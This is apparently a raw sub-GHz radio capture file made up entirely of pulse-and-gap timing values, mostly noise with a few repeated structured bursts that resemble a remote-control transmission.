-118 236 -75 315 -52 129 -122 67 -158 118 -66 91 -172 53 -176 61 -141 143 -154 223 -229 80 -97 87 -172 92 -186 156 -127 89 -185 138 -119 119 -224 255 -171 283 -52 59 -80 135 -103 75 -84 137 -119 102 -603 107 -517 53 -142 53 -54 53 -108 85 -110 67 -149 53 -474 51 -127 73 -68 99 -200 85 -100 182 -62 134 -472 51 -186 109 -64 53 -316 112 -152 69 -108 53 -381 73 -131 108 -349 99 -54 53 -1103 104 -334 87 -265 53 -632 65 -198 79 -345 71 -552 160 -60 55 -62 51 -54 125 -206 71 -270 160 -224 89 -281 51 -229 59 -494 51 -194 53 -766 106 -291 114 -248 59 -62 120 -302 51 -104 59 -200 81 -202 67 -447 127 -226 87 -614 53 -252 84 -129 199 -371 53 -120 119 -68 53 -91 143 -108 71 -194 85 -120 80 -122 61 -329 65 -717 187 -596 83 -464 95 -255 65 -298 97 -123 178 -184 179 -437 110 -243 148 -97 106 -376 81 -248 59 -426 105 -317 51 -437 61 -54 63 -88 53 -364 51 -254 77 -463 59 -118 71 -293 162 -134 63 -144 61 -188 55 -528 105 -311 71 -97 53 -395 61 -218 83 -86 53 -841 69 -106 96 -54 195 -146 61 -86 71 -142 77 -499 168 -971 89 -371 72 -108 61 -314 67 -84 53 -244 67 -183 63 -420 73 -133 107 -827 57 -98 128 -120 77 -368 51 -266 75 -114 93 -635 61 -80 71 -115 117 -98 51 -66 137 -220 61 -54 153 -54 97 -72 151 -314 135 -62 93 -130 127 -163 106 -378 144 -100 67 -54 106 -90 113 -218 71 -71 156 -187 59 -427 208 -305 93 -644 152 -142 121 -243 81 -210 200 -143 97 -123 69 -134 51 -177 198 -92 51 -115 133 -246 53 -90 87 -196 155 -68 83 -263 171 -106 59 -220 135 -397 155 -177 88 -150 139 -209 67 -58 53 -172 53 -82 81 -82 106 -164 61 -301 105 -276 104 -96 240 -108 63 -86 218 -80 59 -175 158 -308 63 -197 70 -179 258 -256 153 -242 244 -80 151 -114 59 -1491 214 -93 83 -256 71 -72 53 -846 150 -370 187 -134 96 -295 51 -273 53 -178 83 -686 59 -444 106 -116 53 -348 89 -308 287 -141 65 -485 133 -276 63 -1055 59 -562 80 -227 177 -1472 71 -323 124 -587 80 -133 53 -381 119 -287 81 -498 107 -246 -RAW_Data: 51 -229 71 -143 55 -114 121 -209 53 -214 111 -132 55 -647 51 -841 57 -742 105 -70 57 -331 198 -329 135 -174 79 -316 53 -346 85 -312 53 -679 53 -294 115 -328 83 -138 51 -198 79 -104 53 -538 107 -280 80 -144 57 -315 81 -90 61 -418 53 -161 71 -419 132 -278 73 -124 53 -98 89 -439 59 -133 53 -130 59 -60 77 -106 111 -484 109 -498 61 -62 67 -347 80 -873 120 -545 61 -435 161 -390 120 -490 107 -147 53 -293 53 -529 87 -100 71 -150 53 -306 75 -297 137 -70 117 -225 61 -304 53 -293 51 -928 79 -134 112 -115 103 -250 61 -344 69 -148 57 -166 79 -142 73 -803 59 -640 153 -244 53 -126 65 -370 121 -315 77 -131 55 -86 51 -98 148 -324 123 -1363 75 -428 79 -100 53 -144 59 -461 53 -188 59 -493 61 -207 51 -571 97 -208 426 -145 71 -406 97 -102 105 -72 99 -270 73 -690 53 -378 53 -259 114 -764 73 -150 143 -501 67 -142 51 -70 79 -368 73 -186 53 -416 192 -740 61 -133 51 -315 61 -143 59 -235 88 -164 53 -387 51 -354 53 -617 67 -123 61 -193 53 -126 51 -559 53 -169 221 -60 51 -194 71 -226 53 -144 71 -60 90 -76 82 -370 53 -235 63 -404 88 -70 122 -733 155 -64 143 -170 63 -436 73 -152 108 -520 97 -54 132 -156 51 -88 59 -74 77 -100 89 -454 103 -579 105 -160 149 -1157 113 -217 59 -340 132 -257 61 -803 150 -186 124 -151 79 -99 53 -606 93 -60 71 -115 97 -62 307 -430 121 -311 71 -415 70 -619 142 -197 89 -224 53 -184 91 -128 63 -366 61 -180 137 -157 137 -76 59 -400 73 -112 51 -60 159 -1011 96 -136 85 -218 63 -98 150 -1027 222 -307 51 -263 59 -510 111 -127 93 -306 67 -377 69 -293 140 -212 51 -177 73 -280 81 -284 93 -82 59 -317 129 -52 128 -163 179 -743 155 -90 85 -508 59 -158 51 -98 91 -144 61 -90 181 -106 158 -396 51 -229 53 -233 135 -325 117 -332 53 -621 121 -443 63 -152 148 -323 107 -926 79 -114 73 -237 61 -471 53 -480 142 -285 99 -56 78 -136 51 -523 205 -581 53 -122 53 -300 200 -114 126 -169 63 -156 59 -120 110 -346 175 -244 75 -258 99 -151 53 -114 83 -194 53 -223 152 -152 108 -397 63 -162 59 -395 89 -305 63 -346 136 -225 120 -111 51 -386 63 -140 159 -152 53 -375 61 -383 67 -166 78 -492 51 -54 67 -255 75 -152 123 -484 61 -259 119 -252 69 -397 79 -524 121 -258 83 -697 165 -621 87 -178 71 -62 81 -426 -RAW_Data: 61 -182 91 -54 133 -187 109 -64 97 -309 57 -74 51 -82 59 -589 105 -139 63 -334 117 -721 59 -90 104 -214 51 -112 51 -169 59 -270 67 -90 61 -282 113 -343 88 -108 83 -635 63 -718 67 -54 53 -738 95 -172 51 -148 89 -54 100 -454 93 -54 69 -80 73 -201 93 -490 53 -327 107 -326 61 -126 61 -217 170 -141 59 -577 61 -116 55 -156 53 -127 135 -66 71 -392 63 -92 105 -290 75 -203 59 -895 83 -338 55 -52 154 -177 62 -238 77 -108 55 -232 75 -86 71 -89 53 -202 81 -379 125 -461 51 -96 116 -149 51 -250 101 -346 73 -265 98 -482 55 -54 81 -62 81 -372 100 -62 57 -76 71 -167 87 -62 55 -375 89 -422 63 -182 73 -857 88 -228 129 -342 79 -451 53 -571 53 -353 89 -320 57 -212 53 -363 51 -981 189 -111 53 -462 63 -182 53 -391 206 -117 103 -182 67 -409 87 -731 71 -257 184 -346 73 -78 53 -98 53 -100 57 -54 57 -750 51 -82 138 -60 128 -103 89 -778 57 -108 65 -64 63 -810 59 -290 53 -97 148 -168 71 -501 51 -155 59 -539 65 -108 53 -281 102 -68 65 -1085 67 -114 67 -854 59 -166 70 -275 55 -199 118 -496 96 -375 73 -601 51 -275 59 -72 69 -564 57 -299 59 -254 59 -470 57 -244 65 -139 55 -104 65 -89 75 -146 51 -172 89 -618 83 -96 105 -70 75 -1024 96 -360 61 -54 75 -745 74 -102 160 -143 59 -52 99 -310 68 -853 89 -291 119 -82 65 -547 70 -56 141 -160 106 -64 101 -171 159 -299 53 -72 61 -144 138 -645 191 -142 61 -683 212 -68 145 -142 75 -110 71 -98 75 -93 59 -218 110 -237 83 -413 110 -380 89 -68 123 -74 53 -80 88 -68 51 -135 59 -94 91 -191 81 -130 59 -163 53 -245 61 -196 55 -70 67 -60 88 -324 61 -72 53 -100 97 -403 69 -254 55 -313 57 -169 53 -148 99 -66 57 -281 94 -642 81 -340 61 -179 106 -154 55 -177 96 -160 77 -1409 93 -254 114 -440 100 -262 85 -203 51 -76 53 -216 89 -204 63 -268 61 -144 51 -514 140 -205 190 -343 118 -126 117 -762 79 -528 203 -88 148 -219 142 -212 153 -64 77 -79 96 -64 53 -434 77 -567 119 -82 53 -99 89 -207 127 -329 99 -174 53 -62 51 -153 55 -432 63 -653 193 -136 77 -180 178 -120 53 -81 75 -635 71 -463 164 -203 61 -414 112 -98 149 -252 232 -287 73 -136 59 -277 137 -116 131 -72 81 -695 111 -126 107 -58 149 -168 142 -180 156 -54 160 -94 79 -102 226 -166 -RAW_Data: 61 -134 69 -374 89 -58 90 -287 161 -177 59 -142 97 -78 65 -245 53 -74 73 -157 164 -170 51 -797 61 -429 116 -54 177 -221 117 -115 115 -174 65 -401 53 -143 114 -64 61 -115 67 -90 83 -222 59 -98 106 -130 102 -602 51 -291 67 -110 67 -78 67 -324 71 -423 53 -80 77 -202 75 -54 59 -66 53 -286 71 -830 87 -72 81 -482 104 -148 53 -350 95 -869 79 -330 67 -240 113 -84 69 -74 111 -566 53 -564 67 -136 102 -54 99 -68 119 -60 51 -400 81 -102 130 -302 183 -170 158 -426 59 -280 84 -150 51 -215 79 -150 89 -222 135 -628 141 -367 55 -586 118 -372 89 -261 82 -379 136 -1165 89 -376 148 -617 83 -137 97 -303 80 -329 79 -112 81 -507 71 -561 151 -301 71 -313 57 -84 106 -536 51 -445 87 -248 53 -60 101 -360 89 -100 61 -402 91 -102 51 -172 83 -74 119 -114 86 -136 98 -62 59 -216 51 -175 133 -240 161 -393 84 -54 69 -506 84 -187 53 -415 57 -72 220 -289 69 -280 81 -537 149 -374 97 -68 94 -560 67 -171 53 -680 67 -420 63 -150 67 -170 69 -349 144 -106 111 -130 112 -382 151 -54 123 -1075 59 -254 103 -277 51 -164 104 -82 131 -125 61 -231 105 -169 77 -125 63 -98 63 -254 186 -139 53 -60 61 -169 174 -440 130 -94 53 -354 89 -106 67 -168 90 -232 53 -333 112 -303 78 -114 53 -387 61 -62 75 -310 51 -904 65 -388 59 -62 123 -402 65 -274 69 -162 86 -365 51 -100 61 -438 107 -318 53 -72 79 -188 69 -158 168 -106 129 -88 79 -412 63 -54 63 -96 57 -266 137 -90 71 -144 71 -189 120 -163 79 -107 87 -525 59 -194 67 -298 61 -283 73 -827 97 -118 79 -568 63 -531 69 -106 53 -349 53 -226 53 -427 61 -116 79 -290 63 -170 156 -237 118 -472 59 -242 75 -155 59 -301 67 -142 87 -296 59 -474 55 -344 69 -466 53 -220 53 -128 53 -584 79 -96 126 -399 61 -582 144 -335 89 -247 53 -100 53 -403 59 -60 75 -581 67 -178 75 -142 195 -155 53 -114 84 -389 115 -452 71 -247 78 -133 154 -102 51 -125 63 -197 63 -317 53 -491 53 -292 53 -142 59 -62 53 -418 51 -136 147 -52 67 -185 129 -90 51 -203 59 -112 115 -351 71 -672 75 -281 90 -68 51 -60 53 -309 148 -70 107 -300 55 -264 75 -66 61 -330 89 -199 53 -223 71 -369 51 -254 67 -116 87 -140 127 -102 59 -421 61 -54 53 -727 59 -140 51 -68 51 -191 67 -735 93 -96 98 -82 151 -207 -RAW_Data: 51 -429 59 -334 145 -996 102 -76 87 -436 59 -60 163 -78 149 -294 51 -249 142 -355 81 -72 71 -211 78 -96 67 -241 69 -282 128 -493 97 -315 59 -491 51 -280 63 -60 79 -72 148 -421 59 -148 69 -114 59 -299 130 -216 95 -297 75 -142 51 -108 83 -170 79 -303 178 -54 61 -244 65 -203 51 -138 59 -68 71 -82 75 -731 69 -74 61 -138 71 -100 85 -122 79 -248 107 -282 96 -98 91 -1258 89 -88 76 -70 135 -123 135 -164 177 -885 75 -251 118 -566 127 -129 57 -96 53 -144 107 -126 73 -248 87 -322 75 -90 93 -100 99 -164 67 -112 96 -648 57 -66 125 -294 57 -201 88 -197 245 -167 150 -271 51 -377 77 -223 159 -311 53 -126 106 -834 109 -76 173 -116 51 -70 51 -315 130 -80 55 -88 71 -422 95 -110 122 -404 67 -266 57 -296 53 -82 107 -54 215 -124 59 -621 79 -251 135 -102 115 -640 67 -843 100 -450 89 -76 51 -210 89 -477 176 -457 129 -102 53 -72 99 -339 51 -54 53 -254 99 -463 100 -564 82 -287 107 -599 74 -264 69 -493 102 -629 80 -106 106 -204 99 -360 73 -280 51 -106 51 -60 87 -672 51 -260 101 -102 73 -367 55 -78 64 -788 149 -80 88 -503 97 -584 75 -263 51 -54 57 -209 75 -250 124 -351 77 -346 51 -383 107 -72 105 -198 55 -574 51 -192 106 -98 83 -499 65 -440 63 -76 88 -88 79 -354 51 -100 87 -74 59 -164 59 -429 51 -275 51 -438 53 -247 53 -80 53 -116 79 -133 161 -666 79 -52 79 -410 57 -223 53 -128 53 -444 79 -123 107 -58 53 -417 57 -110 86 -987 105 -336 53 -441 83 -118 75 -225 63 -118 53 -98 79 -391 113 -224 92 -143 73 -102 73 -64 97 -136 61 -82 59 -108 57 -240 53 -206 133 -154 143 -680 95 -106 87 -74 131 -126 94 -775 65 -112 81 -96 55 -116 89 -722 176 -188 104 -76 81 -399 73 -106 119 -554 120 -171 61 -123 104 -148 51 -261 96 -288 74 -88 129 -568 100 -336 440 -112 63 -58 51 -222 174 -188 81 -161 99 -84 75 -821 141 -334 67 -82 104 -814 80 -153 77 -248 79 -80 71 -88 89 -397 99 -188 81 -215 86 -96 152 -128 61 -372 148 -536 117 -169 134 -142 51 -186 88 -88 181 -338 71 -450 51 -419 59 -218 69 -152 51 -306 67 -60 100 -312 88 -233 85 -546 148 -222 81 -149 51 -265 71 -146 131 -90 71 -54 61 -169 169 -107 76 -180 105 -367 142 -1174 89 -354 107 -222 63 -220 63 -144 61 -82 158 -98 95 -114 -RAW_Data: 71 -244 99 -440 57 -1456 63 -178 110 -112 73 -72 102 -203 75 -522 75 -754 63 -388 89 -220 95 -72 73 -462 99 -78 113 -499 53 -62 135 -533 107 -135 97 -400 79 -122 63 -337 73 -145 53 -391 53 -122 79 -169 115 -522 105 -219 67 -52 53 -135 75 -539 130 -852 94 -223 59 -575 82 -236 140 -54 190 -90 88 -136 156 -136 277 -252 83 -220 53 -184 109 -372 53 -326 53 -922 93 -79 69 -184 107 -293 120 -168 109 -130 75 -123 53 -581 57 -148 61 -147 59 -307 105 -602 122 -132 63 -66 89 -251 98 -175 51 -286 125 -301 63 -144 97 -952 53 -110 65 -116 133 -254 91 -74 115 -261 111 -232 59 -347 114 -90 53 -239 51 -264 102 -60 114 -307 179 -216 75 -54 67 -86 120 -686 53 -114 81 -206 86 -246 83 -451 79 -132 77 -134 125 -269 141 -58 53 -397 63 -116 96 -197 71 -145 105 -832 67 -88 89 -62 53 -191 101 -62 65 -86 59 -578 89 -209 124 -134 59 -770 104 -152 55 -306 51 -52 51 -98 53 -502 71 -266 67 -652 61 -157 117 -622 59 -742 203 -269 108 -299 69 -463 81 -364 79 -214 63 -371 150 -153 120 -208 63 -486 51 -147 53 -54 115 -168 89 -74 160 -208 97 -161 155 -655 51 -275 55 -80 51 -138 73 -112 53 -226 51 -493 122 -351 78 -368 97 -410 59 -594 96 -98 61 -267 71 -130 61 -247 61 -396 59 -277 95 -62 55 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 238 -1111 98 -80 53 -279 92 -758 53 -98 96 -618 103 -124 107 -84 55 -376 71 -193 88 -90 111 -543 51 -349 118 -112 91 -1612 53 -186 111 -229 51 -140 130 -191 51 -100 71 -422 105 -398 53 -210 61 -466 83 -58 51 -290 107 -304 59 -54 77 -120 74 -165 91 -205 89 -76 105 -164 61 -484 53 -82 53 -82 89 -210 53 -391 71 -206 113 -252 80 -100 87 -88 59 -213 115 -64 53 -329 61 -126 171 -215 131 -212 63 -529 65 -989 59 -120 108 -626 112 -401 102 -120 97 -896 82 -531 103 -910 69 -187 97 -451 120 -310 120 -351 69 -693 81 -150 127 -112 143 -225 63 -337 71 -242 120 -272 53 -197 77 -104 51 -175 127 -965 185 -441 53 -151 85 -177 129 -1215 55 -383 124 -684 97 -146 51 -556 59 -247 106 -224 79 -346 57 -85 88 -62 85 -492 53 -262 88 -396 153 -106 53 -82 71 -382 84 -283 116 -122 85 -499 61 -1161 63 -194 89 -472 104 -71 78 -224 71 -217 81 -72 79 -695 138 -126 77 -322 115 -812 95 -171 78 -104 88 -124 57 -774 53 -107 78 -80 85 -274 53 -134 81 -618 106 -141 81 -353 61 -341 55 -90 103 -110 87 -524 96 -143 61 -405 51 -500 106 -94 81 -364 89 -68 1071 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 63 -64 61 -64 127 -128 -RAW_Data: 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 127 -126 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 127 -66 61 -128 127 -64 63 -62 61 -64 61 -64 63 -64 63 -128 127 -128 127 -120 135 -56 69 -62 61 -62 63 -64 63 -128 127 -128 127 -120 71 -54 133 -64 61 -128 127 -128 63 -62 61 -64 127 -128 63 -62 127 -64 61 -128 127 -56 69 -64 61 -128 63 -64 127 -64 61 -128 63 -64 125 -64 63 -126 63 -64 61 -64 63 -62 331 -307 61 -334 59 -172 51 -231 53 -144 159 -358 115 -520 63 -484 79 -286 71 -667 78 -120 97 -393 61 -656 116 -62 71 -270 63 -80 71 -251 53 -196 179 -171 59 -170 81 -1020 167 -58 71 -537 73 -203 97 -474 59 -458 142 -268 149 -170 201 -518 92 -458 67 -112 214 -206 160 -128 147 -346 87 -478 81 -331 59 -74 77 -126 51 -119 55 -196 55 -180 123 -307 71 -86 65 -158 66 -138 106 -839 152 -334 83 -150 51 -309 107 -82 98 -90 139 -177 59 -498 51 -171 51 -316 51 -238 197 -144 63 -162 71 -78 109 -56 85 -332 61 -251 53 -332 164 -442 69 -135 87 -115 59 -80 67 -384 88 -142 53 -80 69 -220 51 -459 173 -102 67 -150 97 -70 53 -188 85 -80 63 -354 75 -332 69 -156 61 -671 100 -430 67 -78 85 -514 119 -670 133 -136 73 -115 103 -400 53 -142 67 -297 63 -283 95 -118 81 -124 117 -513 85 -242 96 -549 59 -185 87 -307 116 -205 69 -307 88 -161 134 -448 61 -224 63 -128 102 -323 65 -133 95 -160 87 -403 53 -126 147 -703 53 -114 96 -107 53 -58 90 -212 71 -435 67 -567 76 -461 127 -272 118 -90 51 -60 69 -257 51 -103 169 -96 79 -105 169 -290 135 -185 53 -98 117 -80 63 -112 174 -86 61 -140 67 -267 130 -154 69 -105 111 -185 99 -88 79 -359 113 -142 63 -167 112 -60 81 -128 178 -52 51 -52 67 -193 75 -74 67 -56 124 -274 55 -80 69 -54 157 -68 65 -92 63 -64 67 -90 65 -296 53 -355 119 -130 79 -80 79 -152 53 -82 160 -229 80 -84 55 -160 121 -74 111 -160 81 -347 53 -137 100 -225 119 -253 73 -198 -RAW_Data: 119 -624 53 -147 268 -58 122 -94 139 -133 93 -76 51 -82 157 -74 69 -189 125 -201 79 -93 94 -946 59 -888 134 -526 120 -152 63 -172 53 -179 71 -268 71 -657 59 -521 59 -305 131 -190 115 -154 77 -208 126 -296 89 -92 81 -108 61 -54 53 -208 178 -134 63 -108 201 -336 114 -108 77 -275 99 -482 65 -68 193 -416 119 -516 105 -98 118 -749 51 -90 73 -166 63 -52 51 -158 79 -99 53 -507 51 -210 53 -407 55 -732 59 -481 59 -406 51 -107 109 -240 59 -289 59 -413 61 -233 77 -223 79 -284 53 -675 89 -134 77 -72 67 -302 134 -244 51 -105 81 -335 111 -297 53 -60 51 -185 95 -496 142 -580 145 -128 51 -210 160 -64 140 -365 87 -287 81 -281 61 -232 92 -296 53 -80 61 -176 101 -232 65 -90 67 -770 109 -304 87 -56 53 -64 79 -54 99 -54 96 -60 61 -482 181 -687 99 -54 61 -364 156 -673 53 -425 55 -100 79 -930 118 -132 141 -222 71 -188 71 -506 91 -144 81 -134 113 -94 85 -60 92 -144 53 -157 51 -238 53 -68 195 -217 103 -106 61 -259 53 -412 61 -108 71 -318 185 -425 93 -270 53 -400 73 -213 132 -296 79 -294 63 -457 177 -270 59 -661 51 -52 111 -202 61 -54 53 -168 59 -82 116 -163 105 -1217 101 -90 63 -215 71 -195 169 -76 67 -98 81 -161 238 -136 75 -122 57 -120 59 -164 89 -78 89 -172 88 -166 99 -292 103 -138 83 -74 135 -157 84 -236 55 -120 164 -199 103 -281 51 -149 103 -52 73 -238 51 -90 178 -290 113 -129 59 -82 142 -100 167 -52 237 -54 122 -90 227 -74 313 -54 272 -152 61 -52 265 -64 73 -106 186 -80 101 -68 82 -139 83 -106 307 -139 124 -166 63 -147 102 -54 253 -87 348 -78 93 -328 125 -387 69 -373 97 -167 99 -68 219 -183 89 -204 142 -125 63 -177 87 -215 165 -105 215 -154 89 -105 81 -68 59 -297 156 -54 124 -446 79 -52 270 -54 87 -293 315 -58 85 -116 73 -54 236 -54 79 -88 63 -199 153 -60 224 -74 55 -154 73 -282 89 -72 191 -111 88 -124 140 -186 91 -123 67 -193 298 -72 124 -251 142 -116 53 -171 131 -152 51 -264 140 -108 61 -54 79 -232 65 -258 51 -151 53 -534 75 -557 74 -52 59 -178 107 -62 61 -329 228 -533 51 -664 75 -173 89 -110 235 -98 61 -118 53 -284 55 -505 67 -86 77 -150 93 -474 53 -324 81 -788 87 -165 63 -90 129 -355 69 -114 53 -82 51 -72 258 -90 51 -173 53 -410 59 -88 95 -297 -RAW_Data: 73 -536 53 -260 63 -997 99 -72 79 -160 77 -182 59 -296 59 -287 51 -299 53 -392 78 -280 161 -192 51 -484 74 -793 53 -170 63 -72 69 -252 65 -524 152 -192 63 -223 53 -507 57 -172 104 -629 63 -64 53 -287 75 -130 63 -253 65 -325 125 -311 53 -714 122 -62 123 -104 63 -151 71 -788 127 -258 228 -180 87 -655 150 -226 109 -146 51 -116 53 -290 57 -434 90 -197 114 -144 63 -68 121 -369 171 -179 61 -92 59 -274 83 -70 51 -226 73 -395 69 -125 91 -239 63 -324 149 -175 53 -54 61 -356 53 -216 57 -207 53 -118 71 -195 59 -204 87 -1099 53 -100 53 -309 53 -126 61 -116 71 -92 53 -749 86 -271 51 -126 51 -206 91 -310 813 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 61 -64 193 -102 53 -1000 59 -195 65 -1056 63 -345 51 -1471 67 -441 53 -72 51 -287 63 -126 57 -178 83 -150 143 -131 88 -94 53 -126 91 -98 69 -58 79 -403 89 -239 71 -108 120 -102 73 -129 71 -108 78 -135 75 -201 59 -573 55 -54 53 -290 53 -254 63 -70 131 -54 75 -136 59 -2291 195 -253 70 -239 71 -263 53 -106 126 -837 97 -288 51 -534 171 -394 53 -170 53 -303 80 -452 293 -280 59 -226 63 -115 51 -62 123 -54 51 -72 51 -76 105 -649 87 -875 114 -95 51 -301 53 -218 89 -128 59 -446 71 -502 59 -201 107 -172 69 -72 67 -116 79 -377 81 -76 119 -1300 61 -217 67 -62 61 -118 59 -687 67 -182 97 -128 51 -403 69 -108 51 -204 88 -281 113 -68 136 -329 123 -274 213 -153 63 -166 89 -62 53 -242 71 -149 81 -193 89 -311 71 -110 100 -664 221 -188 63 -268 51 -90 53 -211 61 -100 75 -86 88 -446 137 -70 53 -548 140 -132 205 -390 183 -802 139 -483 193 -771 79 -131 51 -410 51 -112 87 -103 75 -180 59 -203 51 -189 109 -64 84 -64 87 -238 96 -765 70 -126 53 -519 108 -151 69 -471 227 -361 79 -76 51 -108 63 -768 1159 -56 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 127 -56 71 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 61 -64 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 129 -120 133 -120 133 -56 69 -126 127 -128 127 -120 63 -62 133 -64 61 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -56 69 -62 63 -64 61 -64 63 -64 63 -126 129 -128 127 -120 133 -56 69 -62 61 -64 63 -64 63 -128 127 -128 127 -128 61 -56 131 -64 63 -126 129 -128 63 -62 61 -62 127 -130 63 -62 125 -64 63 -128 127 -56 69 -62 -RAW_Data: 63 -128 63 -64 125 -64 63 -64 61 -64 61 -64 63 -64 63 -128 127 -128 63 -62 321 -72 59 -232 79 -142 51 -273 53 -62 65 -201 97 -112 209 -552 81 -535 153 -88 106 -90 126 -287 99 -568 89 -300 79 -72 96 -89 53 -229 53 -292 51 -76 133 -97 51 -482 53 -202 67 -229 89 -327 51 -156 59 -74 51 -90 61 -278 89 -140 141 -58 53 -308 59 -1502 53 -454 59 -325 88 -68 59 -105 59 -457 53 -382 63 -62 63 -80 69 -88 149 -52 53 -98 71 -154 51 -712 65 -260 93 -224 174 -247 53 -585 53 -297 135 -418 79 -120 123 -80 120 -144 51 -52 59 -150 200 -109 87 -90 59 -170 61 -497 69 -162 85 -410 61 -86 107 -700 139 -72 71 -118 73 -237 234 -507 69 -132 112 -280 53 -776 129 -60 88 -573 69 -68 134 -204 73 -452 132 -222 53 -114 92 -144 53 -562 57 -98 65 -830 218 -324 176 -134 71 -172 91 -375 89 -409 63 -116 109 -150 73 -240 87 -206 71 -236 115 -171 79 -160 51 -266 71 -494 63 -54 114 -52 132 -285 53 -576 69 -1093 53 -72 87 -98 118 -233 250 -979 53 -424 87 -479 89 -377 51 -70 137 -302 61 -68 97 -411 69 -268 51 -477 81 -148 65 -736 135 -74 83 -330 107 -240 53 -98 148 -74 67 -77 53 -673 53 -484 53 -142 59 -52 92 -174 71 -149 89 -218 117 -273 59 -284 67 -365 81 -132 57 -105 157 -54 91 -97 59 -94 275 -116 59 -140 53 -98 67 -64 161 -223 61 -98 83 -148 105 -62 89 -223 134 -131 190 -227 61 -334 59 -126 241 -68 588 -117 108 -263 77 -335 179 -355 147 -98 265 -144 61 -198 51 -62 53 -125 97 -100 111 -70 81 -86 59 -157 61 -246 57 -249 129 -127 53 -78 108 -52 57 -470 159 -230 67 -436 71 -135 73 -112 